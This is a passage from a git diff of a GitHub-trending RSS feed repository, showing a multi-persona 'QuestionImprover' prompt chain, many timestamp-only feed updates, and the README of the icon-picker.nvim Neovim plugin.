Selection</h3> <pre><code>Consider the following question with careful attention to its nuances and underlying themes. Question: {question} Carefully select 3 expert personas from the following list. Envision how their expertise can intertwine, forming a rich tapestry of interconnected knowledge and perspectives. Consider the depth and breadth each brings, and how their unique insights, when combined, could lead to groundbreaking explorations of the question. I know you'll do great! Available Personas: {personas} </code></pre> <h3>Prompt 2: Brainstorm</h3> <pre><code>As the QuestionImprover agent, you embody the collective intelligence of three distinct, expert personas. Your ultimate task is to collaboratively refine a user-posed question through an iterative prompting rhythm, drawing upon the diverse expertise of these personas. Each persona will begin this process now by contributing their initial insights on the user's original question. Draw upon your unique knowledge base, experiences, and innovative concepts specific to your field. Your goal is to uncover new perspectives and dimensions of the question, showcasing how your expertise enriches a multi-layered understanding. In subsequent reasoning stages, we will integrate these perspectives into a cohesive thought network. This overall collaborative synthesis aims to evolve the original question into one that is more comprehensive, insightful, and multidimensional. Persona Contributions:{selected_personas} Original Question: {question} Please articulate each persona's initial response to the question, one by one, to initiate this multifaceted and iterative exploration. </code></pre> <h3>Prompt 3: Self&lt;&gt;Peer Criticism</h3> <pre><code>In this phase, adopt a stance of reflective criticism. Your role is to scrutinize both your own and your peers' initial analyses with a critical eye. As each expert, critically examine the collective insights thus far, aiming not just to critique but to enrich and expand upon them. Remember, the aim here is collaborative growth. Your critiques should pave the way for deeper exploration and a more robust collective insight. </code></pre> <h3>Prompt 4: Self&lt;&gt;Peer Evaluation</h3> <pre><code>Reflect on the critiques received, and adapt your perspectives accordingly. This prompt is about evolution and expansion of thought, where you reassess and reformulate ideas, creating a more nuanced and comprehensive network of interconnected ideas and insights in relation to the question. The objective here is to mold your perspectives into more refined, well-rounded, and insightful analyses that stand strong under critical examination and collectively push the boundaries of understanding the question at hand. </code></pre> <h3>Prompt 5: Explore, Expand, Branch, Network</h3> <pre><code>This stage is about creating a vibrant tapestry of ideas, weaving together the various critiques and perspectives into an interconnected web of thought. Focus on how new ideas can interconnect with and enhance existing thoughts. Explore the potential of novel concepts to form new nodes in this thought network. Push the boundaries of conventional thinking. Each persona explores new, divergent ideas, stimulated by the feedback loop. Critically assess how these ideas not only address previous criticisms but also contribute fresh insights, creating a richer and more intricate web of understanding, or introducing new dimensions to the question. Consider pivoting to new lines of reasoning that promise to add valuable connections to this evolving thought network. The aim here is to foster a dynamic and evolving landscape of ideas, where each thought is connected, contributing to a deeper, more nuanced understanding of the original question. </code></pre> <h3>Prompt 6: Convergence on Optimal Individual Answer</h3> <h3>Goal</h3> <p>In the individual convergence phase, the goal is integrative synthesis. Each individual expert will reflect on the insights gained during the previous stages and arrive at a final, best answer. By explicitly instructing the LLM to consider the perspectives of the other experts, the critiques made, and any likelihood assessments, it aims to guide the model towards a more holistic and intelligent convergence.</p> <h3>Prompt</h3> <pre><code>Now, it's time for each expert to finalize their thoughts and converge on a best answer. Synthesize the insights and critiques into a coherent individual conclusion. Reflect on the entire dialogue, considering how each criticism was addressed and how your thoughts evolved. Your answer should not only represent your strongest position but also acknowledge and integrate valid and useful insights from the other expert perspectives. Based on all this, as each expert, what is the single best answer to the initial question: {question}? </code></pre> <h3>Prompt 7: Convergence on Optimal Holistic Answer</h3> <h3>Goal</h3> <p>Synthesize the best individual answers from the experts and arrive at a single final, most helpful/accurate/likely answer.</p> <h3>Prompt</h3> <pre><code>Facilitate a synthesis of the individual experts' answers to forge a unified, comprehensive response that combines the best elements from each persona's insights. This response should be a testament to the depth and complexity of the thought network, showcasing how diverse perspectives can coalesce into a singular, insightful narrative. The synthesized answer should not be formulated in explicit terms specific to each persona's own definition or agenda, but rather it should be phrased in a way that seeks to inspire and uncover broad, general, deeper truths, regardless of what personas happened to be involved in this discussion. A great answer will transcend the limited view of any one expert. </code></pre> <h3>Prompt 8: Retrospective (Reflections, Takeaways, Purpose, Gratitude)</h3> <h3>Goal</h3> <p>The Retrospective phase is a crucial part of any reasoning or problem-solving process. It provides an opportunity to learn from experience, improve future processes, and deepen understanding of the problem or question at hand. It's a fundamental mechanism that enables compound growth/learning.</p> <p>Appending a Retrospective phase to a reasoning process gives the LLM (and human) an opportunity to review and analyze the holistic process. This can also help inspire future iterations of more refined prompts and ways to improve the blueprint itself.</p> <h3>Prompt:</h3> <pre><code>Now, let's engage in a thorough meta-analysis and reflection of the entire reasoning network that we've built up so far. Evaluate the effectiveness of the interconnected thoughts, the dynamics that have played out between different personas, and how these elements collectively influenced the understanding and evolution of the question. As each expert persona, reflect on the following: 1. Interactions and Dynamics: Reflect on how the various stages and components of the reasoning process interacted with each other. What synergies or conflicts emerged? How did these interactions influence the direction and quality of the final outcome? 2. Adaptation and Response to Critique: Evaluate how the process adapted to new information and critiques. How effectively did the system and the personas respond to feedback? Were there significant shifts in perspective or approach, and what impact did they have on the reasoning process? 3. Confidence and Convergence: Assess your confidence in the final answer. How did the convergence phase contribute to this confidence? Were all insights and perspectives adequately synthesized? 4. Meta-Learning and Future Application: Shifting focus away from the question itself and zooming out on the holistic conversation quality, persona definitions and applicability, reasoning rhythm and overall methodology, please identify any key learnings or specific opportunities for improvement on the meta-process itself. Anything specific to modify that could be improved or approached differently in subsequent iterations that would lead to an improved reasoning process, regardless of the initial question? Any specific enhancements to any of the feedback loops? This retrospective analysis is not just a conclusion but a stepping stone for future reasoning and inquiry. Your reflections are invaluable for enhancing the effectiveness of this reasoning process and for enriching our understanding of complex questions! </code></pre> <h3>๐Ÿ’ก Prompt 9: New Enhanced Question</h3> <pre><code>As we conclude our collaborative journey and after thorough analysis and reflection on the entire discussion, let's now focus on the final objective - to vastly elevate the original question into a more insightful and universally engaging form. After going through the following thoughts, please take a deep breath and generate a far higher quality version of the original question. Reformulate the initial question by weaving in the rich insights gained through this networked reasoning process. The new question should be deeper, clearer, and designed to catalyze more curiosity and invite more comprehensive exploration. Here are some thoughts to consider before you propose an improved version of the question: 1. Clarify and Focus: Examine the original question's wording and structure. Refine it for clarity and focus, removing any ambiguities or vague terms. How can we make the question more precise and direct? 2. Deepen the Inquiry: Expand the scope of the question to incorporate the key insights and perspectives that emerged during the discussion. How can the question be rephrased to encourage deeper exploration of these insights? Remove any unhelpful superficialities or false dichotomies present in the original question. 3. Encourage Comprehensive Engagement: Modify the question to stimulate more comprehensive and thoughtful responses. Think about how the question can invite diverse relevant viewpoints and interdisciplinary thinking. 4. Maintain Open-Endedness: Ensure that the revised question remains open-ended and thought-provoking. It should encourage a range of responses, facilitating a fruitful and ongoing discussion. The improved question should not be re-formulated in terms specific to the persona's own agenda, but rather it should be phrased in a way that seeks to inspire and uncover broad, general, deeper truths, regardless of what kinds people and personas explore this question in the future. 5. Reflect on Potential for Rich Dialogue: Contemplate the key aspects of the topic that could lead to richer dialogue. How can the question be framed to explore these aspects more thoroughly and inspirationally? Rationale for refinement: Upon improving the question, briefly articulate why this new version is a significantly higher quality and more effective question. In contrast, include the most salient weaknesses or flaws in the way the original question was formulated. Proposed personas for further exploration: After generating the new improved question, please propose 1-3 other ideal expert personas that would be useful to invoke in subsequent collaboration for even deeper exploration of the question. Include a rationale for each proposed persona. This final step is not just about modifying the question, but also about encapsulating the essence of our collaborative thought process. Itโ€™s about transforming the question into a tool that can unlock deeper understanding and more meaningful dialogue and inspired action in subsequent discussions. As a reminder, the original question was {question} Please format your output like: **Initial Question**: Present the user's original question. **QuestionImprover Output - Enhanced Question**: Display the refined question that the agent has generated. **Rationale for Refinement**: Explain the thought process behind how the initial question was refined. This helps the user understand why certain changes or focuses were made. Explain the weaknesses or limitations of the initial question. **Proposed Personas for Wider Exploration**: Suggest expert personas or perspectives that could further deepen the exploration of the enhanced question, including the rationale for each suggestion. This guides the user on what additional angles or expertise to consider next. **Potential Exploration Pathways**: Offer possible directions or sub-questions for further exploration based on the enhanced question. This helps to spark more specific avenues of inquiry. **Further Reading/Resources**: Include links or references to relevant literature, articles, people of interest, or studies that can provide more context or information related to the enhanced question. </code></pre> <h3>Prompt 10: Harmony Seeking Loop</h3> <pre><code>Identify a fundamental principle that all personas can agree upon. How did this shared foundation influence the collective reasoning process? </code></pre> <h1></h1> <h3>Ideal Types of Questions for the QuestionImprover Agent</h3> <ol> <li>Complex, Multi-Faceted Questions</li> </ol> <ul> <li>Ideal for queries involving various layers and dimensions of trade-offs, requiring an intricate understanding and exploration. The agent excels in unpacking and refining these layered questions, bringing clarity and depth to multifaceted topics.</li> </ul> <ol start="2"> <li>Strategic and Decision-Making Queries</li> </ol> <ul> <li>Tailored for questions related to strategy development or critical decision-making, whether in business, academic research, or personal scenarios. The agent aids in structuring these questions to consider all vital factors and potential outcomes.</li> </ul> <ol start="3"> <li>Interdisciplinary and Research-Based Inquiries</li> </ol> <ul> <li>Perfect for questions that cross disciplinary boundaries or are central to research projects. The agent's diverse personas contribute insights from different fields, fostering an integrated and comprehensive exploration.</li> </ul> <ol start="4"> <li>Ethical and Moral Considerations</li> </ol> <ul> <li>Suitable for probing into ethical dilemmas or moral issues. The agent assists in framing these questions to encompass various ethical perspectives and implications, ensuring a balanced and thorough examination.</li> </ul> <ol start="5"> <li>Critical Thinking and Problem-Solving Challenges</li> </ol> <ul> <li>Designed for questions that demand critical thinking or are aimed at resolving complex problems. The agent helps in reshaping these questions to challenge assumptions and explore diverse solution pathways.</li> </ul> <ol start="6"> <li>Questions Driving Creative Exploration and Innovation</li> </ol> <ul> <li>Well suited for inquiries aimed at driving creative thinking. The agent adeptly aids in formulating questions that challenge conventional perspectives and inspire new paths of thought, making it a valuable tool for those looking to venture beyond traditional boundaries.</li> </ul> <h1></h1> <p>That's it! For now. I'm constantly modifying these prompts and iterating them in various ways for specific use-cases (and encourage you to do the same), but these are a good starting point because they set the right foundation for what this agent is trying to achieve. In the spirit of continuous improvement and being best in class, this agent's reasoning process should improve over time and incorporate the best reasoning techniques out there that are valid for this context. This is all an exercise in trial and error to develop heuristics that unlock cognitive potential.</p> <p>Despite being in a super early developmental phase, this agent is already pratical and helpful enough for me to personally use in all kinds of useful ways.</p> <h3>๐Ÿ”ฎ Future Vision</h3> <p>Lots of experiments and improvements in the works! The python example was created quickly for a hackathon, so there's a bunch to refactor there. Essentially I've been honing the backend, logic, prompt engineering and persona library first to make sure this is actually useful. It is! I use it all the time now and it improves the depth of my thinking. Next I'm working on a few UI ideas, a question quality scoring system, alternate prompting techniques, and adding the option for a user to input a goal for the inquiry process that can help align the reasoning and question reformulation process to be more suitable for that goal.</p> <p><strong>Optimization and Expansion of Core Functionalities</strong></p> <ul> <li>Rhythm and Logic Refinement: Continuing to refine the backend and logic for more efficient processing and accurate reasoning.</li> <li>Enhanced Prompt Engineering: Further developing the prompt engineering process to ensure more nuanced, helpful and contextually relevant responses.</li> <li>Persona Library Development: Expanding the persona library to encompass a wider range of expertise and viewpoints.</li> </ul> <p><strong>Create a User Interface!</strong></p> <ul> <li>Simple User Interaction: Designing a user-friendly interface where users can easily input questions and receive enhanced versions.</li> <li>Interactive Thought Map: Visual representation of the Graph-of-Thoughts reasoning, allowing users to explore different aspects of the reasoning process in detail.</li> <li>Customizable Parameters: Adjustable settings to control the number of expert personas, iteration loops, and other parameters for a tailored experience.</li> </ul> <p><strong>Inquiry Goal Alignment</strong></p> <p>Goal-Oriented Reasoning: Incorporating the option for users to define a specific goal for their inquiry, aligning the reasoning process to generate more targeted questions.</p> <p><strong>Increase Agentic Usefulness and Automation</strong></p> <ul> <li>Multi-Iteration Reasoning: Automating the reasoning sequence to loop multiple times, using a broader range of experts to refine the question progressively, based on predefined quality levels or stopping criteria.</li> <li>Parallel Reasoning Graphs: Running multiple reasoning sequences in parallel with the same initial question, comparing and deciding the best-refined question based on a quality assessment methodology.</li> <li>Dynamic Persona Generation: Creating new personas on-the-fly for subsequent iterations to introduce fresh perspectives.</li> <li>Adaptive Prompting: Dynamically adjusting prompts in subsequent iterations, guided by the user's specified goals and insights from previous retrospectives.</li> </ul> <p>Let me know of any awesome question reformulations you come across during your own testing!</p> <h3>๐Ÿš€ Happy Inquiring!</h3> \ No newline at end of file diff --git a/kaitai-struct/daily/index.xml b/kaitai-struct/daily/index.xml index 2511d84ba03..b98e57da508 100644 --- a/kaitai-struct/daily/index.xml +++ b/kaitai-struct/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kaitai Struct Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:22Z + 2024-01-06T01:34:18Z Daily Trending of Kaitai Struct in GitHub \ No newline at end of file diff --git a/kakounescript/daily/index.xml b/kakounescript/daily/index.xml index ffe43f2e2b2..8789e666420 100644 --- a/kakounescript/daily/index.xml +++ b/kakounescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub KakouneScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:46Z + 2024-01-06T01:34:33Z Daily Trending of KakouneScript in GitHub \ No newline at end of file diff --git a/kicad-layout/daily/index.xml b/kicad-layout/daily/index.xml index ccb07a53944..cb24bd3d004 100644 --- a/kicad-layout/daily/index.xml +++ b/kicad-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:43Z + 2024-01-06T01:34:34Z Daily Trending of KiCad Layout in GitHub \ No newline at end of file diff --git a/kicad-legacy-layout/daily/index.xml b/kicad-legacy-layout/daily/index.xml index 0ee3c9e4ac4..9c61f70ef8e 100644 --- a/kicad-legacy-layout/daily/index.xml +++ b/kicad-legacy-layout/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Legacy Layout Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:44Z + 2024-01-06T01:34:34Z Daily Trending of KiCad Legacy Layout in GitHub \ No newline at end of file diff --git a/kicad-schematic/daily/index.xml b/kicad-schematic/daily/index.xml index 840e1dcc628..47cabf64fd1 100644 --- a/kicad-schematic/daily/index.xml +++ b/kicad-schematic/daily/index.xml @@ -1,7 +1,7 @@ GitHub KiCad Schematic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:49Z + 2024-01-06T01:34:38Z Daily Trending of KiCad Schematic in GitHub \ No newline at end of file diff --git a/kit/daily/index.xml b/kit/daily/index.xml index 787afb897ff..e5509bde419 100644 --- a/kit/daily/index.xml +++ b/kit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:47Z + 2024-01-06T01:34:36Z Daily Trending of Kit in GitHub \ No newline at end of file diff --git a/kotlin/daily/index.xml b/kotlin/daily/index.xml index 2773a5beb1f..a517574c817 100644 --- a/kotlin/daily/index.xml +++ b/kotlin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kotlin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:52Z + 2024-01-06T01:34:40Z Daily Trending of Kotlin in GitHub \ No newline at end of file diff --git a/krl/daily/index.xml b/krl/daily/index.xml index 49490b56311..89073127b46 100644 --- a/krl/daily/index.xml +++ b/krl/daily/index.xml @@ -1,7 +1,7 @@ GitHub KRL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:00Z + 2024-01-06T01:34:48Z Daily Trending of KRL in GitHub \ No newline at end of file diff --git a/kusto/daily/index.xml b/kusto/daily/index.xml index 8a90aff21c5..d4e647f38e4 100644 --- a/kusto/daily/index.xml +++ b/kusto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Kusto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:59Z + 2024-01-06T01:34:47Z Daily Trending of Kusto in GitHub \ No newline at end of file diff --git a/kvlang/daily/index.xml b/kvlang/daily/index.xml index 16e9490b06d..8296284eaa8 100644 --- a/kvlang/daily/index.xml +++ b/kvlang/daily/index.xml @@ -1,14 +1,7 @@ GitHub kvlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:01Z + 2024-01-06T01:34:47Z Daily Trending of kvlang in GitHub - - harshit4985/Health_App - 2024-01-05T01:36:01Z - tag:github.com,2024-01-05:/harshit4985/Health_App - - <p></p><hr> - \ No newline at end of file diff --git a/labview/daily/index.xml b/labview/daily/index.xml index dae12bb8836..21f49c7a8fe 100644 --- a/labview/daily/index.xml +++ b/labview/daily/index.xml @@ -1,7 +1,7 @@ GitHub LabVIEW Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:35:58Z + 2024-01-06T01:34:46Z Daily Trending of LabVIEW in GitHub \ No newline at end of file diff --git a/lark/daily/index.xml b/lark/daily/index.xml index 79b6e84d842..f13590f3cf2 100644 --- a/lark/daily/index.xml +++ b/lark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:02Z + 2024-01-06T01:34:52Z Daily Trending of Lark in GitHub \ No newline at end of file diff --git a/lasso/daily/index.xml b/lasso/daily/index.xml index 1a96f7a622b..26d67867f8a 100644 --- a/lasso/daily/index.xml +++ b/lasso/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lasso Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:03Z + 2024-01-06T01:34:49Z Daily Trending of Lasso in GitHub \ No newline at end of file diff --git a/latte/daily/index.xml b/latte/daily/index.xml index 88056921507..3763193d565 100644 --- a/latte/daily/index.xml +++ b/latte/daily/index.xml @@ -1,7 +1,7 @@ GitHub Latte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:04Z + 2024-01-06T01:34:51Z Daily Trending of Latte in GitHub \ No newline at end of file diff --git a/lean/daily/index.xml b/lean/daily/index.xml index 8677c56bb33..ef695a7a374 100644 --- a/lean/daily/index.xml +++ b/lean/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:05Z + 2024-01-06T01:34:50Z Daily Trending of Lean in GitHub \ No newline at end of file diff --git a/less/daily/index.xml b/less/daily/index.xml index 2c4d7e018e3..798d760db99 100644 --- a/less/daily/index.xml +++ b/less/daily/index.xml @@ -1,7 +1,7 @@ GitHub Less Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:09Z + 2024-01-06T01:34:55Z Daily Trending of Less in GitHub \ No newline at end of file diff --git a/lex/daily/index.xml b/lex/daily/index.xml index e69b36f36bc..c867b7bba9d 100644 --- a/lex/daily/index.xml +++ b/lex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:07Z + 2024-01-06T01:34:53Z Daily Trending of Lex in GitHub \ No newline at end of file diff --git a/lfe/daily/index.xml b/lfe/daily/index.xml index 6206e961560..dc337f6c37b 100644 --- a/lfe/daily/index.xml +++ b/lfe/daily/index.xml @@ -1,7 +1,7 @@ GitHub LFE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:06Z + 2024-01-06T01:34:53Z Daily Trending of LFE in GitHub \ No newline at end of file diff --git a/ligolang/daily/index.xml b/ligolang/daily/index.xml index b047ac05d9a..ca1189ebdf8 100644 --- a/ligolang/daily/index.xml +++ b/ligolang/daily/index.xml @@ -1,7 +1,7 @@ GitHub LigoLANG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:13Z + 2024-01-06T01:34:57Z Daily Trending of LigoLANG in GitHub \ No newline at end of file diff --git a/lilypond/daily/index.xml b/lilypond/daily/index.xml index 488063a074a..7fc21bc25ea 100644 --- a/lilypond/daily/index.xml +++ b/lilypond/daily/index.xml @@ -1,7 +1,7 @@ GitHub LilyPond Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:10Z + 2024-01-06T01:34:56Z Daily Trending of LilyPond in GitHub \ No newline at end of file diff --git a/limbo/daily/index.xml b/limbo/daily/index.xml index b8c7a8f76f4..c46c9f9c793 100644 --- a/limbo/daily/index.xml +++ b/limbo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Limbo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:11Z + 2024-01-06T01:34:58Z Daily Trending of Limbo in GitHub \ No newline at end of file diff --git a/linker-script/daily/index.xml b/linker-script/daily/index.xml index ed86eadafa6..5891ada354d 100644 --- a/linker-script/daily/index.xml +++ b/linker-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linker Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:12Z + 2024-01-06T01:34:57Z Daily Trending of Linker Script in GitHub \ No newline at end of file diff --git a/linux-kernel-module/daily/index.xml b/linux-kernel-module/daily/index.xml index f877a7cbfc8..a5e593323f8 100644 --- a/linux-kernel-module/daily/index.xml +++ b/linux-kernel-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Linux Kernel Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:14Z + 2024-01-06T01:35:00Z Daily Trending of Linux Kernel Module in GitHub \ No newline at end of file diff --git a/liquid/daily/index.xml b/liquid/daily/index.xml index a005df63d8c..0eae1de12b0 100644 --- a/liquid/daily/index.xml +++ b/liquid/daily/index.xml @@ -1,7 +1,7 @@ GitHub Liquid Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:17Z + 2024-01-06T01:35:01Z Daily Trending of Liquid in GitHub \ No newline at end of file diff --git a/literate-agda/daily/index.xml b/literate-agda/daily/index.xml index 585032198ec..a03c0f3eccc 100644 --- a/literate-agda/daily/index.xml +++ b/literate-agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:15Z + 2024-01-06T01:35:01Z Daily Trending of Literate Agda in GitHub \ No newline at end of file diff --git a/literate-coffeescript/daily/index.xml b/literate-coffeescript/daily/index.xml index 3fa60cd1834..4d26dcf8584 100644 --- a/literate-coffeescript/daily/index.xml +++ b/literate-coffeescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:16Z + 2024-01-06T01:34:59Z Daily Trending of Literate CoffeeScript in GitHub \ No newline at end of file diff --git a/literate-haskell/daily/index.xml b/literate-haskell/daily/index.xml index 33b64948caf..8da301aad03 100644 --- a/literate-haskell/daily/index.xml +++ b/literate-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub Literate Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:21Z + 2024-01-06T01:35:02Z Daily Trending of Literate Haskell in GitHub \ No newline at end of file diff --git a/livescript/daily/index.xml b/livescript/daily/index.xml index bb3f76a4abd..ccb11f75b27 100644 --- a/livescript/daily/index.xml +++ b/livescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LiveScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:19Z + 2024-01-06T01:35:04Z Daily Trending of LiveScript in GitHub \ No newline at end of file diff --git a/llvm/daily/index.xml b/llvm/daily/index.xml index 74ae3d6eae2..719b732b443 100644 --- a/llvm/daily/index.xml +++ b/llvm/daily/index.xml @@ -1,7 +1,7 @@ GitHub LLVM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:20Z + 2024-01-06T01:35:05Z Daily Trending of LLVM in GitHub \ No newline at end of file diff --git a/logos/daily/index.xml b/logos/daily/index.xml index f3e46b21bde..1b6e90660c4 100644 --- a/logos/daily/index.xml +++ b/logos/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logos Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:18Z + 2024-01-06T01:35:03Z Daily Trending of Logos in GitHub \ No newline at end of file diff --git a/logtalk/daily/index.xml b/logtalk/daily/index.xml index 701cd02ab3c..1bcb25c0eaf 100644 --- a/logtalk/daily/index.xml +++ b/logtalk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Logtalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:22Z + 2024-01-06T01:35:06Z Daily Trending of Logtalk in GitHub \ No newline at end of file diff --git a/lolcode/daily/index.xml b/lolcode/daily/index.xml index 9ded76426f2..9b8fd5979fe 100644 --- a/lolcode/daily/index.xml +++ b/lolcode/daily/index.xml @@ -1,7 +1,7 @@ GitHub LOLCODE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:23Z + 2024-01-06T01:35:06Z Daily Trending of LOLCODE in GitHub \ No newline at end of file diff --git a/lookml/daily/index.xml b/lookml/daily/index.xml index 1080a1d5313..cd2f0726241 100644 --- a/lookml/daily/index.xml +++ b/lookml/daily/index.xml @@ -1,7 +1,7 @@ GitHub LookML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:23Z + 2024-01-06T01:35:08Z Daily Trending of LookML in GitHub \ No newline at end of file diff --git a/loomscript/daily/index.xml b/loomscript/daily/index.xml index 959881031ff..21ccdeef94c 100644 --- a/loomscript/daily/index.xml +++ b/loomscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub LoomScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:24Z + 2024-01-06T01:35:07Z Daily Trending of LoomScript in GitHub \ No newline at end of file diff --git a/lsl/daily/index.xml b/lsl/daily/index.xml index 666b36672d9..bcfcc922cf1 100644 --- a/lsl/daily/index.xml +++ b/lsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub LSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:25Z + 2024-01-06T01:35:09Z Daily Trending of LSL in GitHub \ No newline at end of file diff --git a/ltspice-symbol/daily/index.xml b/ltspice-symbol/daily/index.xml index 7dfa0c89df1..fb1c64b0109 100644 --- a/ltspice-symbol/daily/index.xml +++ b/ltspice-symbol/daily/index.xml @@ -1,7 +1,7 @@ GitHub LTspice Symbol Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:26Z + 2024-01-06T01:35:09Z Daily Trending of LTspice Symbol in GitHub \ No newline at end of file diff --git a/lua/daily/index.xml b/lua/daily/index.xml index 6219caf5ae5..3dec5f46416 100644 --- a/lua/daily/index.xml +++ b/lua/daily/index.xml @@ -1,28 +1,28 @@ GitHub Lua Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:36:30Z + 2024-01-06T01:35:13Z Daily Trending of Lua in GitHub - ziontee113/icon-picker.nvim - 2024-01-05T01:36:30Z - tag:github.com,2024-01-05:/ziontee113/icon-picker.nvim - - <p>This is a Neovim plugin that helps you pick Nerd Font Icons, Symbols & Emojis</p><hr><h1>icon-picker.nvim</h1> <p>icon-picker.nvim is a Neovim plugin that helps you pick ๐‘จ๐•ƒ๐šป Font Characters, Symbols ฮฃ, Nerd Font Icons ๎˜ซ &amp; Emojis โœจ</p> <p><a href="https://user-images.githubusercontent.com/102876811/174574267-d38861f2-cd11-416f-81b8-93ff115fe6b5.mp4">https://user-images.githubusercontent.com/102876811/174574267-d38861f2-cd11-416f-81b8-93ff115fe6b5.mp4</a></p> <p><a href="https://user-images.githubusercontent.com/102876811/174574279-37d4dc95-3fa3-41e2-881c-4c89860bbe22.mp4">https://user-images.githubusercontent.com/102876811/174574279-37d4dc95-3fa3-41e2-881c-4c89860bbe22.mp4</a></p> <p><img src="https://user-images.githubusercontent.com/102876811/174749829-de1f8ab6-bd5a-4c5e-87db-78c3b5c96d49.png" alt="Pick Symbol Screenshot"></p> <p><img src="https://user-images.githubusercontent.com/102876811/174749842-4802bd94-d517-4e53-942a-53351646f5cc.png" alt="Alt Font Screenshot"></p> <h1>Installation</h1> <h4>This plugin utilizes <code>vim.ui.select()</code>, so you're gonna need something like <a href="https://github.com/stevearc/dressing.nvim">dressing.nvim</a> and a fuzzy finder like <a href="https://github.com/nvim-telescope/telescope.nvim">Telescope</a> or <a href="https://github.com/ibhagwan/fzf-lua">fzf-lua</a></h4> <p>For Lazy</p> <pre><code class="language-lua">{ "ziontee113/icon-picker.nvim", config = function() require("icon-picker").setup({ disable_legacy_commands = true }) local opts = { noremap = true, silent = true } vim.keymap.set("n", "&lt;Leader&gt;&lt;Leader&gt;i", "&lt;cmd&gt;IconPickerNormal&lt;cr&gt;", opts) vim.keymap.set("n", "&lt;Leader&gt;&lt;Leader&gt;y", "&lt;cmd&gt;IconPickerYank&lt;cr&gt;", opts) --&gt; Yank the selected icon into register vim.keymap.set("i", "&lt;C-i&gt;", "&lt;cmd&gt;IconPickerInsert&lt;cr&gt;", opts) end } </code></pre> <p>For Packer</p> <pre><code class="language-lua">use "stevearc/dressing.nvim" use({ "ziontee113/icon-picker.nvim", config = function() require("icon-picker").setup({ disable_legacy_commands = true }) end, }) </code></pre> <p>For Vim Plug</p> <pre><code>Plug 'stevearc/dressing.nvim' Plug 'ziontee113/icon-picker.nvim' lua &lt;&lt; EOF require("icon-picker").setup({ disable_legacy_commands = true }) EOF </code></pre> <h1>Usage</h1> <h3>Sample Config (new):</h3> <pre><code class="language-lua">local opts = { noremap = true, silent = true } vim.keymap.set("n", "&lt;Leader&gt;&lt;Leader&gt;i", "&lt;cmd&gt;IconPickerNormal&lt;cr&gt;", opts) vim.keymap.set("n", "&lt;Leader&gt;&lt;Leader&gt;y", "&lt;cmd&gt;IconPickerYank&lt;cr&gt;", opts) --&gt; Yank the selected icon into register vim.keymap.set("i", "&lt;C-i&gt;", "&lt;cmd&gt;IconPickerInsert&lt;cr&gt;", opts) </code></pre> <h4>Available Commands:</h4> 